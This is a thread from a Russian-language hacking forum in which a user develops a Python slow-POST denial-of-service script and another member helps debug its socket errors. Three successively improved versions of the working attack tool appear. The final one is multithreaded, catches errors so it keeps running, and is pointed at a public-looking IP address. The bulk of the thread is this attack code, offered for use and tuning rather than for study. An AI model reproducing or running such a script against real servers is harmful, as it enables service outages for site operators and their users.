Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare

Показано с 1 по 6 из 6
  1. #1
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для DeNZeL

    Статус
    Offline
    Регистрация
    29.10.2014
    Сообщений
    455
    Репутация
    140 + / -
    Безопасность

    Question Python ошибка [Errno 10053] хост разорвал подключение.

    Приветствую!
    Прошу помощи у Python'оводов. Написал я скрипт для реализации slow-post атаки, сам я в Python новичок.
    Сам скрипт работает отлично и отправляет данные. Но сервер через какое то время разрывает соединение, не понятно почему, python выдает ошибку:

    Код:
    Exception in thread Thread-10:
    Traceback (most recent call last):
      File "D:\python\lib\threading.py", line 810, in __bootstrap_inner
        self.run()
      File "D:\python\lib\threading.py", line 763, in run
        self.__target(*self.__args, **self.__kwargs)
      File ".\py\sc\main.py", line 23, in NwCon
        sock.send(i)
    error: [Errno 10053] ╧ЁюуЁрььр эр тр°хь їюёЄ-
    Скрипт:
    Код:
    from threading import Thread
    import socket
    import sys
    import time
    # IP & PORT
    h_addr = "127.0.0.1"
    h_port = 80
    NUM_TH = 10
    
    def NwCon(host,port,thnum):
    	sdata = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
    	flag = 1
    	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	post = "POST /index.php HTTP/1.0\r\n"
    	post +="Host: "+host+"\r\n"
    	post +="Content-Type: application/x-www-form-urlencoded\r\n"
    	post +="Content-Length: "+str(len(sdata+"data="))+"\r\n\r\n"
    	post +="data="
    	sock.connect((host, port))
    	sock.sendall(post)
    	for i in sdata: 
    		sock.send(i)
    		print "Thread ["+str(thnum)+"] Send: [ "+i+" ] Pos: ["+str(flag)+"]\n"
    		flag = flag + 1
    		time.sleep(1)
    	print (sock.recv(1024))
    	sock.close()
    
    threads = [] #Threads_Array
    th = 1 #Flag_Thread
    while th <= NUM_TH:
    	sock = Thread(target=NwCon,args=(h_addr, h_port, th))
    	threads.append(sock)
    	sock.start()
    	print "Start Thread :" + str(th) + "\n"
    	th = th + 1
    
    for i in range(NUM_TH):
    	threads[i].join()
    Вложения Вложения
    • Тип файла: zip main.zip (688 байт, Просмотров: 1)

  2. #2
    Аватар для toorook

    Статус
    Offline
    Регистрация
    09.11.2014
    Сообщений
    239
    Репутация
    151 + / -
    Программист
    Был тайм-аут или другие ошибки сетевого уровня. Это не твоя сторона закрывает сокет. Почитай "Коды ошибок Windows Sockets" - [Только зарегистрированные могут видеть это. ]
    Это может быть удаленный хост перестал отвечать на запросы, подключения к сети умерли, или брандмауэр закрыл соединение (что более вероятнее), так как соеденение было открыто слишком долго. В общем проблемы на другой строне.

    update - 14:52

    Или просто переполнение стека - [Только зарегистрированные могут видеть это. ]
    Последний раз редактировалось toorook; 07.12.2014 в 08:53. Причина: добавил инфу

  3. #3
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для DeNZeL

    Статус
    Offline
    Регистрация
    29.10.2014
    Сообщений
    455
    Репутация
    140 + / -
    Безопасность
    Цитата Сообщение от toorook Посмотреть сообщение
    Был тайм-аут или другие ошибки сетевого уровня. Это не твоя сторона закрывает сокет. Почитай "Коды ошибок Windows Sockets" - [Только зарегистрированные могут видеть это. ]
    Это может быть удаленный хост перестал отвечать на запросы, подключения к сети умерли, или брандмауэр закрыл соединение (что более вероятнее), так как соеденение было открыто слишком долго. В общем проблемы на другой строне.

    update - 14:52

    Или просто переполнение стека - [Только зарегистрированные могут видеть это. ]
    Спасибо и действительно.

  4. #4
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для DeNZeL

    Статус
    Offline
    Регистрация
    29.10.2014
    Сообщений
    455
    Репутация
    140 + / -
    Безопасность

    Post Обновил скрипт.

    Переписал его немного, теперь запускается определенное количество экземпляров класса, например 5000, в каждом экземпляре 150 потоков -( соединений и запросов соответственно ), мой VPS ложится так говорит 2ip чекер.
    Прошу проверить у себя кому не сложно, сейчас выдается ошибка 10060 - невозможно подключится к хосту, как её отловить в python я увы так и не понял, если есть предложения то обязательно выслушаю.

    Скрипт:
    Код:
    from threading import Thread
    import random
    import socket
    import sys
    import time
    # IP & PORT
    
    h_addr = "127.0.0.1"
    h_port = 80
    RET	 = 5000
    NUM_TH = 150
    
    
    def NwCon(host,port,thnum):
    	sdata = "data="+str(random.randint(0, 99999999999999999999999999999999999999999999999999999999999))+"\r\n"
    	flag = 1
    	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	if sock:
    		sock.connect((host, port))
    	post = "POST http://"+host+"/index.php HTTP/1.0\r\n"
    	post+= "Host: "+host+"\r\n"
    	post+= "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:22.0) Gecko/20100101 Firefox/22.0\r\n"
    	post+= "Referer: http://"+host+"/index.php\r\n"
    	post+= "Connection: keep-alive"
    	post+= "Keep-Alive: 300\r\n"
    	post+= "Cookie: income=1\r\n"
    	post+= "Content-Type: application/x-www-form-urlencoded\r\n"
    	post+= "Content-Length: "+str(len(sdata))+"\r\n\r\n"
    	sock.sendall(post)
    	for i in sdata: 
    		s_inf = sock.send(i)
    		if s_inf:
    			pass
    			#print "Thread ["+str(thnum)+"] Send: [ "+i+" ] Pos: ["+str(flag)+"]["+str(s_inf)+"]\n"
    		else:
    			print ("CLOSE SOCK !!!\r\n")
    			sock.close()
    		flag = flag + 1
    		time.sleep(0.1)
    	#print (sock.recv(1024))
    	if sock:
    		sock.close()
    
    class MThread(Thread):
    	def __init__(self):
    		Thread.__init__(self)
    	def run(self):
    		threads = []
    		for i in range(NUM_TH):
    			ThTMP = Thread(target=NwCon,args=(h_addr, h_port, str(i)))
    			threads.append(ThTMP)
    			threads[i].start()
    			print ("Start Thread: #[ "+str(i)+" ] Buff :[ "+str(threads[i])+" ]\r\n")
    
    for i in range(RET):
    	THF = MThread()
    	THF.start()
    	THF.join()
    	print ("\r\nFinish: RET: ["+str(RET)+"]\r\n")
    [Только зарегистрированные могут видеть это. ]
    Вложения Вложения
    • Тип файла: zip main.zip (962 байт, Просмотров: 1)

  5. #5
    Аватар для toorook

    Статус
    Offline
    Регистрация
    09.11.2014
    Сообщений
    239
    Репутация
    151 + / -
    Программист
    Прошу проверить у себя кому не сложно, сейчас выдается ошибка 10060 - невозможно подключится к хосту, как её отловить в python я увы так и не понял, если есть предложения то обязательно выслушаю.
    Пока нет тех. возможности. Так бы проверил. А чтоб отловить исключение заюзай это - [Только зарегистрированные могут видеть это. ], обработаешь исключение и поставишь таймаут. Все в цикл обернуть... ну как то так.

  6. #6
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для DeNZeL

    Статус
    Offline
    Регистрация
    29.10.2014
    Сообщений
    455
    Репутация
    140 + / -
    Безопасность
    Цитата Сообщение от toorook Посмотреть сообщение
    Пока нет тех. возможности. Так бы проверил. А чтоб отловить исключение заюзай это - [Только зарегистрированные могут видеть это. ], обработаешь исключение и поставишь таймаут. Все в цикл обернуть... ну как то так.
    Ура! Заработало! Теперь без ошибок, спасибо за информацию по отлову исключений!!!
    Код:
    from threading import Thread
    import random
    import socket
    import sys
    import time
    # IP & PORT
    
    h_addr = "178.0.0.0"
    h_port = 80
    RET	   = 250
    NUM_TH = 250
    
    def NwCon(host,port,thnum):
    	sdata = "data="+str(random.randint(0, 99999999999999999999999999999999999999999999999999999999999))+"\r\n"
    	flag = 1
    	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	try:
    		sock.connect((host, port))
    		post = "POST http://"+host+"/index.php HTTP/1.0\r\n"
    		post+= "Host: "+host+"\r\n"
    		post+= "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:22.0) Gecko/20100101 Firefox/22.0\r\n"
    		post+= "Referer: http://"+host+"/index.php\r\n"
    		post+= "Connection: keep-alive"
    		post+= "Keep-Alive: 300\r\n"
                    post+= "Cache-Control: no-store, no-cache\r\n"
    		post+= "Cookie: income=1\r\n"
    		post+= "Content-Type: application/x-www-form-urlencoded\r\n"
    		post+= "Content-Length: "+str(len(sdata))+"\r\n\r\n"
    		sock.sendall(post)
    		for i in sdata:
    			s_inf = sock.send(i)
    			flag = flag + 1
    			time.sleep(0.1)
    	except IOError as (errno, strerror):
    		if errno == 10060:
    			print "Host not Answer! Status: [ "+str(errno)+" ][We close connect in Thread: #"+str(thnum)+"]\r\n"
    			sock.close()
    		elif errno == 10053:
    			print "Host closed the connection! Status: [ "+str(errno)+" ][We close connect in Thread: #"+str(thnum)+"]\r\n"
    			sock.close()
    	except ValueError:
    		print "Cheak This Error(unknown)\r\n"
    	except:
    		print "Break Error:", sys.exc_info()[0]
    		raise
    	if sock:
    		sock.close()
    		
    class MThread(Thread):
    	def __init__(self):
    		Thread.__init__(self)
    	def run(self):
    		threads = []
    		for i in range(NUM_TH):
    			ThTMP = Thread(target=NwCon,args=(h_addr, h_port, str(i)))
    			threads.append(ThTMP)
    			threads[i].start()
    			print ("Start Thread: #[ "+str(i)+" ] Buff :[ "+str(threads[i])+" ]\r\n")
    
    for i in range(RET):
    	THF = MThread()
    	THF.start()
    	THF.join()
    	print ("\r\nFinish: RET: ["+str(RET)+"]\r\n")
    Последний раз редактировалось DeNZeL; 07.12.2014 в 20:52.

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.